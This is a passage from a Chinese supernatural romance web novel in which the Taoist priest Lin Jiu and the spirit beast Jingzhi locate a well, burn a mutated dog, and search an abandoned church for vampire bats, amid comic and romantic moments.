做出这种事,他都没脸见林九了。 得亏林九是个嘴严的。 要不然传出去的话,他石坚还要不要做人了?! 而且,三个月后,他就要继承茅山了,他绝不允许有人挡他的路。 就算是坚儿,也不可以。 “从今天开始,你禁足一个月。” …… 静之捏着林九的手,看着那两个背影问:“阿九?是不是我想的那样啊?” 林九回想起刚刚石少坚离开前的那个眼神,他的眉头渐渐皱了起来。 “应该是,师兄之所以动怒,想来他应该不知情。” 亲情有时也能蒙蔽人双眼。 也不是所有的亲人都是好人,他希望他大师兄莫要再助纣为虐了。 毕竟身居高位,加上石坚实力强劲,他若是真动起手,无辜之人的伤亡只会更大。 林九:“走吧,先找井的位置,我师兄的事儿,回去再说。” 静之:“好。” …… 第156章 挖井&狗子升天 静之也不会布什么阵,林九叫她把红线牵到哪她就牵到哪。 林九不仅定了方向,还定了距离,等她站定位置,他和秋生拿一个个木桩捆住红线往下钉。 三人一阵忙活,十几分钟后,静之擦着汗抬头一看。 饶是不懂阵法的她,也知道林九就地布了个八卦的图案出来。 最中心是个像司母戊鼎的东西,八个方向各突出八个兽头,每根红线的起始端一一牵在这些兽头上。 老规矩,林九焚符念咒。 老情况,静之秋生打闹。 林九啧了一声,一个白眼过去,两人立刻乖乖站好。 林九把符往鼎里一丢。 刚一烧完,某个兽头的口部突然出现一颗珠子沿着红线滑落,还自带拐弯的,直直朝东南方向滑去。 林九小心避开红线,快步跟了上去,那珠子滑到一定距离停住。 在八卦圈外围,心系事情进展的石大富赶紧追了过去观看。 林九仿佛要秀他一把,侧过身子让石大富看清他的动作。 他半蹲下来,捻起停住的珠子朝地上用力一弹。 那颗珠子回弹之时,底下竟凝结出一滴剔透的水珠。 静之伸出食指,挑起那滴水珠细看,又低头翻了两下地面干涸的黄土。 这几天没下雨,这个位置干得都要皴裂了,哪来的水? “怎么会有水?” “回去再跟你解释。”林九朝静之笑了笑,又朝秋生招手,“最后一根钉在这儿。” 说罢,拿出手帕仔仔细细擦干净她手指上的黄土,这才转头朝跟在他屁股后面等待结果的石大富说: “就刚刚那地儿,你找人往下挖就行。” 石大富刚刚真真切切看到那滴无中生有的水了,直接被林九秀了一脸。 这时他脸上的表情更是带上了几分尊重和敬畏 毕竟,听人家夸一百句,不如亲眼所见来得更加震撼。 林九这人,是有真本事的。 “九叔,快午时了,鄙人在寒舍已备好饭菜,先吃个饭再走吧,挖井的事儿交给我,我吩咐人来做。” 林九没有上别人家吃饭的习惯。 但是一想到他家那条狗的事儿还需要确认一下,于是点头答应。 “劳您费心了,走吧。” 石大富连忙摆手说不费心不费心。 他暗暗颔首。 瞧,人家有本事就算了,还有礼貌,这怎么不比他表叔好啊。 他回头朝在树荫底下乘凉的石成唤道: “成儿,去村公所叫保安队的人上来挖井!” 石成站起来拍了拍屁股,没有直接答应,反而一脸犹豫,“爹,我怕我叫不动他们,你也知道阿威这个人,他--” 石大富啧了一声,说:“嗐呀,动动脑子,你就说是我说的,跟他们说,想喝水用水就得出人出力,不然就一起喝尸水去吧!” “哦!” …… 一行人见好不容易解决了一件事儿,皆放松了点心情,有说有笑的往山下走。 就在这时,树林里突然扬起一阵妖风,树叶唰唰作响。 众多飞鸟纷纷窜逃飞向天际。 这场景有些熟悉。 静之一下就想到了任老太爷出棺那日。 她有些担忧的转头问林九,“你刚刚找的位置,底下没有墓吧?” 林九拍了拍她的手,笑着摇头,“害怕了?这地方是石家村公共的风水宝地,是不会让人在这儿修建墓地的。” 静之反握住他温热的手,心神稍定,“既然你这么说,那应该没问题喽。” 那群鸟,应该是巧合吧。 林九看着那只正揩他油,暗戳戳十指相扣的手,突然有些不知道,她是真怕,还是故意找个理由要牵着他… 她仿佛变成了他肚子里的蛔虫,转头一脸正经说:“我是真担心,真害怕。” 林九:但凡你脸上有一分害怕,我就信了。 他举起被叉开扣得死紧的五指,“是吗?” “是!!”静之眼神坚定得像是要入党,她坚定点头,坚定的牵着他的手,坚定的朝山下走。 林九看着她充满正气的侧脸,心想有这分正气在,她还怕个球的僵尸鬼怪。 秋生今早带来的家伙什都用上了,这会儿他两手空空,一身轻松。 于是随意拔了路边的一根狗尾巴草叼住,环着胸,一脸坏笑的调侃道: “哎呀师父,你管她是不是故意的,你就说你开不开心吧!” 林九:“……多嘴。” …… 刚走到石大富家院门口,纷杂的脚步声和陌生人的味道,好像激怒了里面那条疯狂的狗子。 院门虽紧闭着,静之也能听到里头那铁锁链不断挣动发出的叮铃响,还有那狗由喉咙底发出的恐吓低吼。 石大富有些尴尬朝众人一笑,“狗栓着呢,别怕,我们绕远一点走就行。” 林九下意识紧紧回扣住静之的手,把她往自己身后藏了藏,这才抬脚跟上石大富的步伐。 门刚一打开,一股厉风扑面而来。 还没来得及看清眼前的情况,几人分两头散开。 林九一个偏头,还是躲不及被树枝的枝桠刮伤了脸,血珠一下就沁了出来。 静之定睛一看,原来是那条狗子。 它锁链的尾端还拖着石大富家那棵歪脖子树。 有些分量的树限制了它的行动,但黑狗仍然不断刨动着前爪,对流了血的林九穷追不舍。 大家想过去帮忙,那棵横亘在众人眼前的树却阻碍了他们的视线和行动。 不过,就一条狗而已,林九跟静之都没在怕的。 静之放出灵兽的威压,意图让狗知难而退。 然而狗子已经是疯掉的狗子了,只停了短短一秒,就流着口水吠着,更加疯狂的猛扑上来。 静之有些惊讶,她这招对所有比她等级低的野兽都是百试百灵的,更别说区区一家犬。 看来这狗是真变异了。 林九跟静之连连后退的同时,也甩出去一张符纸贴在它身上。 如果是中了尸毒,那这符怎么也能起到一定作用。 让林九没想到的是,定身符一点用都没,狗都要把他俩撵进人家家里了。 看着屋里头面露惊恐的村长老婆,林九和静之不约而同一个转身,引着狗跑出院子。 然后趁着它跑到空地上时,林九使出了物理手段--放火。 经过了之前几次抓尸事件,对付这种变异类的生物,林九悟到了一个道理。 与其费劲儿与之厮打,不如放一把火来得快。 那树估计已经被那条狗早早撅断了根,枝桠干枯,树叶失去了水分滋养,遇火就燃。 随着一张火符落下,火轰的一声升起,黑狗凄厉的嚎叫声瞬间响彻整个宁静的村庄。 “哎呦,村长家着火了?” “那条狗怎么叫这么惨?” “嗐,早该杀了,不是我残忍,它一看就不是正常的疯,谁家狗疯了是越疯肌肉越结实的。” “老天爷啊,我刚刚看到了,大富家的树被它整根拔起来拖着走了,幸亏九叔及时赶到,不然我家二丫刚刚可还在外头玩呢,不行,我得出去找人去!” “也是,我也去!都中午了,我家狗蛋怎么还不回来吃饭?” 围观的众人纷纷散开,各自找娃去了。 …… 林九和静之一人一头,制着狗不让它跑到人家农田里或房屋里,等到它实在跑不动了,和身后的树一起变成一团灰烬时,二人才微微喘着气停下周旋的脚步。 静之:“这啥狗啊,体力这么好。” 林九则是走到石大富面前说了声抱歉。 石大富叹了口气,摇头道: “是我一时心软,险些害了你们,该说对不起的,是我才对。” 林九回头看着那团灰烬和埋在木炭里烧红的铁链子,眉头渐渐皱起。 狗都这样了,成群结队能飞的蝙蝠岂不是更厉害? 他回首朝石大富告别,“村长,饭就不吃了,我突然想起有点急事要处理,我们先走了。” …… 第157章 她说的话,就是我的意思 林九三人草草辞行,直奔任家镇。 刚一进镇,恰巧赶上了饭点,各色饭馆面馆,路边的各色饼摊发出阵阵食物的香气。 干了一早上活的秋生饿得前胸贴后背。 然而,看着前面两个步履匆匆的人,他硬是不敢停下来买口饼吃。 他快走两步到林九身边问: “师父,走这么急干什么,有什么事儿吃个饭再说也不迟呀?” 林九:“狗都有攻击性,蝙蝠可能也有,还是赶紧赶路吧。” 秋生疑惑四处转头看看,”师父,都快出镇了,你们到底要去哪里?” 静之默默跟着,反正林九脑子灵,且步履坚定,一看就是知道前行目的地的样子。 避过几个打闹的孩子,林九脚步并未放慢,看着并无防备整条街的人,他的心渐渐悬了起来。 “去镇尾那个教堂看看。” 根据蝙蝠群居性的原理,他料想他抓的那两只,应该飞回这儿了。 秋生上回没跟来,当然不知道蝙蝠的事儿,于是小声嘀咕,“去教堂干什么?师父你改信洋教啦?” 刚说完,他就挨了一栗子。 林九:“信你的头!走不走,不走你回去看义庄,下次我带文才出来!” “不行!” 秋生胡乱撸了两把头发,撇了撇嘴,“我可是要多学些本事的,文才他看义庄就够了。” 林九:“那就别废话。” …… 三人刚远远窥到教堂上头的十字架,就听到前头传来闹哄哄的声音。 林九眼神一凝,赶紧加快脚步一路小跑过去。 “诶,你们怎么这样啊!” “已经宽限你们很长时间了。”阿威拿起警棍指了指墙上贴着的通知,“今天就给我全部搬出去。” 说完,他召集手下四处去收集柴火。 远远看到个熟悉的人影接近,阿威一脸谄媚迎了上去。 “九叔,怎么有空过来这儿啊?” 上次在监狱里,林九的本事他可是看得一清二楚,心里不免对他起了一丝佩服。 想到这,他又腆着个大脸凑上去,“九叔啊,要不你收我为徒吧?” 他要是也会赶妖驱鬼,他这个队长的位置可不就坐稳了嘛。 他表妹也能高看他一眼,说不定就愿意嫁给他了呢。 林九皮笑肉不笑斜了他一眼,“威队长说笑了,林某何德何能能做你师父。” 看他还欲纠缠,林九话锋一转,指向墙上放火的通知,“这是干什么?” 阿威:“你不是说烧了吗?” “我何时说烧了?”林九愣了一下,又说:“我是说烧了蝙蝠,没叫你烧人家的教堂。” 阿威:“我手下说他看见有蝙蝠飞到这里来,还是烧了安全点,反正是个废墟。” 这时,一位年轻的修女满脸怒容跳出来,“喂,哪里有什么蝙蝠!还有,什么叫废墟,这是我们的教堂,你不经我们同意说放火就放火,我,我要到衙门告你们。” 阿威无所谓的摊手,“你们怎么不把我告到你们的god那里去啊?哪儿来的,就赶紧给我回哪儿去,我们这儿不信你们的主。” 他一肘子搭在林九肩上,一脸林九是他靠山的表情说: “我们啊,这里都信道!” “走开!”静之一巴掌拍开阿伟的肘子,“瞎靠什么!自己靠墙去!” “你!”阿威本欲发怒,一想起她的身手,和上次那个剪追追的噩梦,腿一抖,一句“疯婆子”又吞落肚去。 静之委屈脸抱着林九的胳膊,“只有我能靠。” 林九脸上渐渐浮起一层红晕。 他轻咳了一声,抖了抖胳膊想挣脱,奈何静之搂得紧紧的。 没办法,只能带着她上前一步,走到老修女面前,“有没有蝙蝠,我们一看便知,请通融一下。若无蝙蝠,想必威队长也不会强行放火的吧,嗯?” 这一声嗯?他是对着阿威说的。 阿威狗腿子般点了点头,“当然,我师父说的话你们可听到了啊,都让开,我这枪可不长眼!” 边说着,他就从腰间把枪拔了出来,咔嚓一声上膛。 围在废墟前站成一排,众志成城的年轻修女们,吓得小声尖叫,躲到老修女的后头去。 第158章 静~之~~ “哐!” 估计也是太久没人来管理这里,那锁已经锈迹斑斑。 秋生就轻轻敲了一下,那锁脆得直掉黑红的锈渣渣,锁柄一下就被砸断掉在地上。 秋生轻轻一拉,有些下坠歪斜的门板吱呀一声被朝外打开,一股腐朽阴冷的气息扑面而来。 秋生嫌弃地皱眉,并抬手扬掉门板上散落的灰尘和结起的蛛丝,侧过身子,把路让给左边的林九。 林九刚跨入一脚,视线就被跪在一个巨大十字架前的骷髅吸引。 这股阴冷之气,难道是这骷髅发出来的? 他不由自主紧紧牵着静之,仔细打量了那骷髅一眼。 没什么异常,甚至没有阴气。 正常得有些不正常。 不是他的话,那这股阴气又是从哪儿来的? 静之低头,看着被攥得紧紧的手,和身前那个充满安全感的背影,无声的笑了。 秋生微笑脸:你又幸福上了。╮(─▽─)╭ 林九毫无察觉,一切都是下意识的举动。 他挪开目光,警惕的打量着这里的环境。 右侧屋顶破了个小洞,房梁木稀疏支着,上面全是一个个小眼,应该是被虫蛀的吧。 房间里头因为那个洞口,光线倒是很充足。 有一道光突然被折射进缓缓走过来的林九眼里。 他侧头一看,是墙上的两个相框。 一个完好无损,一个仿佛中间被砸了一拳,玻璃碎片掉在那相框正下方的地上。 林九小心挥开相框上的蛛丝细看,是两个高鼻梁蓝眼睛的外国人。 既是两个人,地上怎么只有一具骷髅呢? 刚要走过去查看,他的头顶就被两串挂在房梁的蒜头别了一下。 静之轻轻为他拍去掉落发间的蒜皮和灰尘。 林九心神依旧专注在找蝙蝠上,“原来这里是厨房?” “不是。”老修女从门口走了进来,四处打量了一下这里的布置,笃定的摇头,“这里确实是静修室,而且,看来这里经历过一场大战。” 林九:“哦?何以见得?” 老修女走上前一一指向她看到的东西,“打翻的圣水,掉在地上的圣经,还有到处散落的蒜头,这些东西都是驱魔用的。” “原来神父这么久不回来,不是叛逃出教,而是为了主奉献出自己的生命了。” 看着她站在十字架前闭眼祈祷的样子,静之属于现代的记忆开始慢慢复苏。 话说这些玩意儿,不是对付吸血鬼的吗? 虽然她没见过,但是电影里都是这么演的。 这个世界妖魔鬼怪多得很,多个吸血鬼她倒不是很惊讶了。 而且,她一下就联想到了刚刚那条狗。 难怪。 如果那狗中的不是尸毒,而是被吸血鬼同化了,那不就被变成吸血狗了吗? 可惜,没来得及看看狗是不是被咬了。 话又说回来,刚刚阿九的符对那狗没用。 静之手指磨蹭下巴思考。 看来,西方的妖魔鬼怪,还得用西方的方法驱才行。 她转过头,刚想跟林九提一下可能有吸血鬼这个事儿,却看见他蹲了下来,去检查那具骷髅。 她只得跟着一起蹲下。 “发现什么了吗?”她问。 林九撩开骷髅胸口处破了个洞的衣服,发现了一把断裂的十字架。 十字架底端那断裂的位置呈尖刺型,一看就是被仓促折断的,它被骷髅本人的指骨紧紧握住插向心脏的位置。 时至今日,那指骨依旧维持着紧握的手势,可见当时这神父刺进去的动作有多决绝。 “他是自杀。”林九说。 老修女:“怎么可能呢,没事他怎么会自杀?他是来传教的,我们天主教的教父一般都是性情温和,心胸宽广之人,应该不会跟谁结怨,当然也不会抑郁自残!” 林九:“具体原因我不清楚,你可以自己看。” 修女还是不信,她在静之旁边蹲了下来,伸长脖子到骷髅胸前细看。 果然是自杀啊。 她叹了一声,然后做了个十字,双手紧握,脸抬起望着屋顶破洞外的天空,口中念念有词给死去的神父祷告。 林九视线转移到其他地方,看到进门处左侧有条木梯直达二楼,他手一撑膝盖就站了起来。 静之的左手还捏在他手里,她只得跟着站起身子跟上去,怎料裙子后摆被老修女踩在脚下。 她虽是个修女,但体型丰满。 还未完全站起,她一个猝不及防的后仰,带动着林九朝她扑了过来。 眼瞅着静之快摔到那具骷髅上,林九放开她的手,顺手搂住她的腰一个旋转。 “砰!” 静之重重的跌在他身上。 林九蹙眉发出一声闷哼,给静之吓坏了。 她手撑他头部侧边的地板,抬起上身就要检查他哪里受伤。 她这一动,不小心动到了右边跪着的骷髅上,整具骨架趴在她身上,她毫无防备,又被压了回去。 “唔!” 温热柔软的感觉直击唇瓣,他的呼吸瞬间变得急促,打在她的鼻尖。 腰间的大手也一下变成无法忽视的滚烫。 身侧的祷告声突然停止,老修女显然已经看傻眼了。 秋生则是面壁开始扣起了墙皮,并发出无声的嘿嘿笑。 林九的眼睛瞪得大大的,聚焦看向上方那双越来越弯,还朝他眨眨眼的灵动眸子。 相视的一瞬间,似有细微电流从她眼中传来。 林九的脸轰的一下,涨得通红。 终是抵不过静之这直勾勾的注视,他的眼睛局促的朝旁边看去,正巧对上老修女震惊瞪大的双眼。 “……” 他手臂突然上抬,轻轻把她肩膀推开。 “静之,你先起来。” 唇虽分开了,静之还赖在他身上,伸长了脖子去瞧他的大红脸,和泛红的耳垂。 愣是看得林九脸上的血色一路向下,直直蔓延到脖子上。 他无奈求饶,“静之……” 秋生:静~~之~~~ 哎呦喂喂喂喂。 他师父什么时候语气这么柔过。 师父,你又幸福了。 静之终于肯从他身上爬起来,还顺势牵住他的手把他从地上拉起。 刚要拍一拍他身后的灰尘,林九就羞得扯着她赶紧逃离此地。 老修女双手紧握,又开始自省: “主啊,他们不是故意要亵渎这神圣之地的,都怪我。” 两个小兵端着枪,跟着跑了出去,“九叔!跑什么?有蝙蝠啊?那到底烧不烧?” 林九:“……暂未发现蝙蝠,不用了!” 秋生跟了上去,捂着肚子说: “师父,吃个饭再找吧,再不吃,我就要饿过劲儿了。” 他朝正给林九拍灰的静之疯狂眨眼: “你也饿了吧?” 静之直勾勾盯着林九耳垂上还未褪下的血色,微微放低声音说: “阿九,我饿了。” “…………” 林九牵着她手的指尖无意识的收紧几分,耳垂的血色又渐渐升腾起来。 她可真是,让人招架不住…… 秋生双手捂眼,然后手指分开露出眼睛。 哟哟哟哟哟哟哟哟! 阿九~我~饿~了~~ 秋生握拳下定决心。 他一定一定一定要跟师父和师娘出来干活,不然哪有这么多好戏看! 第159章 下雨天了怎么办 林九的害羞只持续了一小会儿。 正义感和责任心一下就占领了理智的高地。 他没选择坐下吃饭,而是回街上随意买了几个饼子,分给大家边吃边走,他则拿出罗盘在街上走来走去,意图多找点线索。 旁边来往的行人基本都是本地人,或者附近镇上的,都认识林九。 大家既尊敬他,又怕看到他。 因为每次一看到他拿着法器,就表示附近肯定有些什么反常的东西在。 一卖菜的大娘看着从她菜摊前经过了三次的林九,一颗又好奇又害怕的心那是跟着起起伏伏。 她忍不住递了颗山药给静之,然后搭话林九: “九叔啊,你找什么呢?” “没什么。”林九这时才注意到行人异样的眼光。 他不想引起恐慌,把罗盘收进布袋里,淡淡对大娘笑了一下,仿佛像是随意问起的一句话: “大娘,你日日在这儿卖菜,可有见过什么……飞禽从镇上经过?” 说到这个,大娘可就来了精神了。 她指向街尾那明显高出周围众多房屋的十字架说: “就那儿,我这几天老看到几个小黑点在那儿飞来飞去,我还以为我老眼昏花了呢,毕竟年纪大啦……你这么一问,我这才想起来。” 站在一旁的林九听到这番话后,不禁微微眯起眼睛。 他踮起脚尖,朝着远处那座尚未经过仔细检查的二层小阁楼张望。 思索片刻后,林九觉得还是应该再过去检查一番才能放心。 于是笑着谢过大娘,转身又朝街尾走去。 静之捧着手上还带着泥的铁棍山药,想了想,还是给大娘塞去几枚铜板: “大娘,卖完菜早点回家哦。” 毕竟,吸血鬼跟僵尸一样,好像也是昼伏夜出的。 说完,她也跟了上去。 三人还未走到街尾,一阵急促的脚步声突然从他们身后传来。 “九叔!九叔等等!” 静之回头望去,就看到石成像地鼠似的,在人群中窜动。 他好像很急,简直就是以百米冲刺的速度拨开人群冲过来的。 脸上还带着阵阵惊恐。 “你干嘛啊?阿九不是让你们去挖井了吗?出事了?” 石成咽了口唾沫润了润发干的喉咙,喘着粗气扯着林九就往镇口走,“嗬…嗬…来不及解释了,快跟我去山上看看!” “……” 静之看着她手中提着的,林九一口未动的饼子,默默叹了口气。 他以前也是这么过来的吗? 忙的时候,连口饭都来不及吃? 难怪上次吃口芥末就拉得不行了,他肯定肠胃不太好。 不知道上次她给的灵力给他治好没哦? 石成不容她多想,三人上马车以后,他赶着马车,鞭子都快甩出破空声了,恨不得一下就闪现到山上。 马车摇晃得厉害,静之刚刚咽下的两口饼子差点给颠出来。 就在石成刚刚喘匀气,给他们说发现了具奇怪的尸体时,一声沉闷的雷声突然响起。 静之撩起侧边的小窗帘朝外一看。 天空的乌云仿佛被一只大手推动着,走得飞快,还不时有如银蛇般的闪电从云层窜出。 一看到闪电,她赶紧将手伸了回来,屁股又朝林九的方向靠了靠,“好像要下雨了诶。” 直到腿部隔着几层布料紧紧相贴,感觉到他的体温,她才停了下来。 林九看了秋生一眼。 他都怀疑要不是秋生在车里面,静之能直接缩回他怀里去。 秋生倒是不害怕,他撩起帘子一角,抬头透过丛林上头的缝隙观察天色: “真是奇怪,刚刚还大太阳的,也没乌云啊,怎么突然打雷闪电了呢?” 他转回头,摩挲着下巴边回忆,边看着林九说,“师父……你还记不记得,咱们在师叔家遇到的那场雨,一开始……好像就是这样的。” 静之想到上次那只把她追得都快断气的皇族僵尸,心里一个咯噔,也转头对着林九: “上次你不是怀疑这种情况是有人做法?你说……会不会是?” 石坚会奔雷拳,还是茅山大师兄,引个雷那还不是分分钟的事儿? 她的话点到即止,林九却听明白了。 她在点石坚。 林九却觉得未必是他师兄。 他师兄脾气急,要真看谁不爽,一拳早就过去了,哪里会使这种腌臜手段。 林九看了一眼石成的背影,小声对秋生说:“你去你师伯家走一趟,看看石少坚在不在家。” “看完直接回义庄。”他补充道。 石成这小子,好像跟石少坚处得还行,不能让他知道了。 秋生脑子机灵,一下就明白他师父的意思,哦了一声,叫停石成,随便找了个理由就下了车朝山下奔去。 马车已经穿出丛林。 远处似有哗哗声传来。 林九挑帘一看,风雨已然卷袭到对面山间,仿佛是一道半透明流动中的雾帘,朝他们这个方向压了过来。 啧,来得真不是时候。 林九转头对静之说:“雨快下到这儿来了,你等会别出去,待在马车里就好。” “……那你呢?”她不是很情愿。 闪电的声音越来越近,仿佛就在他们头顶响起,静之被吓了一跳,紧紧抓住林九放在膝盖上的手。 一道刺眼的雷光掠过昏暗的天空,连车内都亮了一瞬,林九凝重的眼神瞬间暴露在她眼前,“我必须过去看看。” 现下这个情况,越来越像皇族僵尸出事前的征兆,静之心里的担忧渐渐浮起。 嘴巴微张,刚想跟他说说吸血鬼的事儿,只听得外头长长一声吁。 石成把马车停下来了。 “到了,九叔,快走吧,雨要来了。” 林九钻出马车前,拍了拍她的手,制止了她要出来的举动。 “我知道你怕雷,好好待在这里,我很快就回来。” “……那你一定要小心。” …… 林九跟石成走了。 远远看去,山顶上还围着七八个人,除了村长,全都是阿威的人。 真不凑巧,林九刚走到跟前,雨就落了下来。 雨来得急,谁也没带伞。 看着衣衫被打得焦湿的林九,静之眉头渐渐皱了起来。 一场秋雨一场寒,他又没吃饭,不知道撑不撑得住? 林九在那儿不知道跟阿威说了什么,阿威唤来几个手下将坑里的东西吊了出来。 静之远远看去,发现那玩意儿好像是个人形,身形干枯如柴。 雨势太大,还有好几个人挡着,她没看清多少细节。 阿威靠近林九,淋雨干活,好像还让他自豪上了,嘴巴说着什么,抬手就要搭林九的肩。 好在,林九朝马车的方向看了一眼,说了几句什么,就招呼石成往回走。 阿威扼腕跺脚的样子,她也没心情看了。 她一手撩起帘子,一手拿出帕子蓄势待发。 等林九一上马车,她立刻将帕子展开帮他擦着还在滴水的头发。 林九:“阿成,麻烦你送我们回义庄,那具尸体不太对劲儿,你跟你爹记得看着阿威烧了。” 石成点点头,又突然想起九叔坐在里头看不到,一拍脑门,加大点音量盖过偌大的雨声说: “好!现在雨太大了,我刚刚叫他们先送去村公所了,雨停了就烧!” “好。”林九拧着前摆的雨水,坐离静之远一些,又歪了歪头,避过她的帕子,“不用擦,太湿了,没什么用。” 静之看着湿哒哒的小小一张手帕忍不住叹了口气,然后伸手帮他解腰带。 “……干什么?”手被他一把摁住。 雨大,风也大。 车帘一扬一扬的,可以看到石成湿哒哒的背影。 林九眼神在他和静之之间乱窜,眼里满是惊慌和不赞同。 静之:什么眼神?她是那种人吗? 静之忍不住撇嘴,“他再快,也要半个多时辰才能到义庄,一直穿着湿衣服会感冒的,脱下来我给你烘干再还你。” 误会人家的林九搓了搓还在滴水的头发,又摸了摸鼻子。 看她冷着脸好像生气了,他有些无措。 衣摆拧干后,他微微朝她方向蹭近了一厘米,想牵她的手,刚一抬手,手臂上的雨水滚落到手掌上。 他有些局促的收回手,捏在腰带上,呐呐问道:“怎么烘?马车内可别点火,容易发生事故,还会惊着马。” 静之叹了口气。 他这副样子,像是被雨淋湿的局促大狗狗,还偏偏睁大了眼睛一脸无措的看着她。 看得她心软。 “不脱也行。”她手伸过去放在他肩膀上,泡了水的布料一下就将她掌心打湿。 林九侧头一看,两指捏住她的手腕想撩开,却被正在运转灵力的静之嗔一句:“别动。” 林九瞬间僵住。 下一瞬,有股暖意从他肩头慢慢走遍全身,被雨淋得冰冷的身体,慢慢变得暖和起来。 随着时间推移,林九眼睁睁看着他身上的水滴变成水蒸气,身上被衣服紧贴的黏腻感渐渐消减,皮肤也变得干爽起来。 马车里的空气像是蒸桑拿一样,全是暖融融的水蒸气。 林九紧紧盯着静之的眼睛,捏着她手腕的两指缓缓扣紧。 她的脸上渐渐浮出红晕。 不是热的,是羞上了。 突然这么看着她干什么? 怪叫人害羞的。 想挪开视线不看他,却又不舍得。 他很少这么主动盯她呢。 窗外下着瓢泼大雨,雷鸣电闪依旧。 静之心里对雷电的恐惧,渐渐被他这一个眼神打散。 看着看着,两人的头越靠越近,近得静之都能感受到他的呼吸。 石成背部一热,忍不住回头看了一眼。 静之赶紧退开身子收回手,有些可惜的看着他半湿着的衣服跟还在滴水的鞋子。 石成:“九叔,你做法啦?里头变得可真暖和!” 静之红着脸戳了戳他的手臂,朝石成一扬下巴。 林九心领神会,心情莫名不爽“嗯。” 静之:“??” 他可真是…… 好在,石成现在也全身湿漉漉的,急着赶路没多问。 他头一撇回去,静之手又伸到他胳膊上,想故技重施。 林九恢复体温的手摁住她,轻轻摇头,压低声音说: “可以了,你修行不易,别把灵力浪费在这种事情上。” “可是你……” “我没事。” …… 刚到义庄,这场雨又诡异的停了。 石成急着回家换衣服,也没仔细看已经半干了的林九,就急急跟他们辞行。 “哈啾!”他捂着口鼻皱眉打了个喷嚏。 静之一脸担忧的看着林九,“快进去!” 一进义庄院子大门,她就急急叫了文才烧水煮姜茶。 文才这会儿脑子倒是好使了。 “嘿嘿,你们早上出门没带伞,就知道你们会被雨淋,喏,我刚煮好的。” 静之手中被塞过来一个托盘,上头是两碗冒着热气的姜汤。 “……你小子这回还挺机灵!”静之感叹。 这句话立马就让文才的尾巴翘上天。 他步履轻快走向厨房,“快喝吧,我去给你们烧热水洗澡!” …… 静之端着托盘走到林九房门口。 腰部抵住托盘,腾出一手刚要敲门,门就从里头打开了。 林九此时有些狼狈,他只来得及穿上中衣,扣子也才扭了一半,头上还搭着一条白色布巾。 看了一眼她手中的姜汤,他有些惊讶,“你这么快?” 静之越过他走进屋里,把托盘放桌上。 然后拉着跟在她后头的林九让他坐下,塞给他一碗姜汤后,就走到他后头,给他擦头发。 “我又不是神仙,是文才,虽然道术不行,他还算是有心了,你这个徒弟收得蛮好的嘛。” 林九轻轻吹着蒸腾到脸上的热气,傲娇说一句: “他还有的学呢。” “……嘁,我看你心里挺乐!” 所幸林九头发短,刚刚又使了灵力,这会儿没擦几下,就干得差不多了。 她轻揉了两下他的太阳穴,又把头伸到他脸侧问:“怎么样?头痛不痛啊?有没有发热?” 林九哪里被人这般嘘寒问暖过,就算是文才,也是经常端给他一碗姜汤就了事了。 此刻的他,一颗心被她熨烫得暖暖的。 忍不住就侧头朝她红润的嘴上轻啄了一口,声音柔得不像话,“不痛,我真没事。” 静之捂着唇,心里疯狂尖叫。 他又主动了,他又主动了!!!!! 他主动,她倒是害羞上了。 静之一手捏着衣角,一手憨批挠头,“我,我去给你做点吃的,刚刚买的饼都凉了。” 望着后脚踩前脚,仿佛突然不会走路了的静之,林九笑了。 她真可爱。 穿好衣服后,他又开始整理起了他随身那个湿漉漉的布袋。 看着里头湿漉漉的东西,他暗道一声糟糕。 五营神将忘记放了。 还有,秋生怎么还没回来?是发生了什么事吗? 话说,好像有什么事忘记干了…… …… 第160章 养胃&买裤子 雨后的空气带着湿润泥土的味道。 身为灵兽的静之还是蛮喜欢的。 林九也是。 被固执的静之赶去洗了个热水澡后,他一身松快,穿着个白色中衣就斜靠在亭子里,看着池边斜阳下的残荷出神。 看着看着,他突然一拍脑门。 瞧他这破记性,被石成一打岔就忘记了。 那教堂的阁楼还没检查呢。 不行,他还是得去看看。 刚转回头,一件外套就披到他的肩上。 没人会对他这么贴心,除了她。 还没看到她的脸,手就先伸过去握住她放在他肩上的手。 “我要去……” 静之一脸不赞同,“你要去哪儿?” 一天不吃饭,他是要上天吗? 林九看到她身后端着托盘一脸傻笑的文才,赶紧撒开她的手,轻咳了两声。 “我要去镇上再看看那个教堂。” 静之看了看天色,招手叫文才把东西放下,然后端着一个小盅放到他面前: “先吃点东西再说吧,午时都过好久了,你这胃还要不要了。” 她好像又生气了。 林九小心翼翼瞄了她一眼,又被静之瞪了回来。 看到文才偷笑,他咬牙瞪了过去,默默穿上自己的外套,边问静之: “这什么?” 静之隔着手帕掀开小盅盖,浅笑着对他说:“山药肉泥鸡蛋羹,养胃又鲜美,你先把这吃完,再吃点饭,然后你想干嘛去就干嘛去。” 扣着外套扣子的手一顿,鼻间闻到清香鲜美的蛋羹味道。 林九直直坐在位置上,愣住了几秒,突然觉得最近自己好像很容易感动。 他垂下眸子,轻扯一下她的衣袖,“坐,你也有吗?” “有,大娘给我了好长一根山药呢!”她指了指她右手边的小盅,又回头对眼巴巴看着的文才说:“你的在锅里,自己端哦。” 文才笑出了鱼尾纹,高兴的应了一声,拿着空托盘就朝厨房走去。 听到文才远去的脚步声,她又一回头,“给秋生的留着,别给他的都吃了啊!” 年轻小伙子就吃一个饼子怎么吃的饱哦。 说曹操曹操就到。 “吃我的什么东西啊?” 秋生火急火燎的跨进院门,衣服湿哒哒的,紧紧贴在身上,还在朝地上滴水。 “哦,你的饭在锅里,你先去换身衣服洗个澡吧,紧要关头别生病了。” 秋生无所谓的撸了把散落到额前的两缕头发,“洗澡就不用了,文才你把我饭端出来啊,我换个衣服马上来!有个事儿要跟你们说!” 刚说完他三两步跑进房间换衣服去了。 静之跟林九面面相觑。 难道他发现什么线索了吗? 秋生没让他们疑惑太久。 没两分钟,他半敞着衣襟,套着鞋,踩着鞋跟就从房里走出来。 听到脚步声,头刚转一半的静之,眼被捂住。 “以后没穿好衣服,不许出来!” “哎呀,忘记有女眷在了,不好意思不好意思!” 秋生边扣着衬衫的扣子,边朝那遮遮掩掩的两人说: “师父,你猜我去师伯家看到什么了?” 林九没好气的朝他的后脑勺翻了个白眼,“发现什么了?” 秋生回想起自己看到的,忍不住乐了一声,“师伯在打孩子诶!” 静之扒下林九的手,“打谁家的孩子?” 秋生扣好扣子转过来,三两步走到她对面坐下,“当然是他自己的孩子,那个石少坚啦,还能有谁!” 林九:“……哦?” 静之看了他一眼,又转头问秋生,“有听到什么吗?” 秋生:“嗐呀,我什么修为,我师伯什么修为,我怎么敢靠那么近啦!” 静之:“那……” 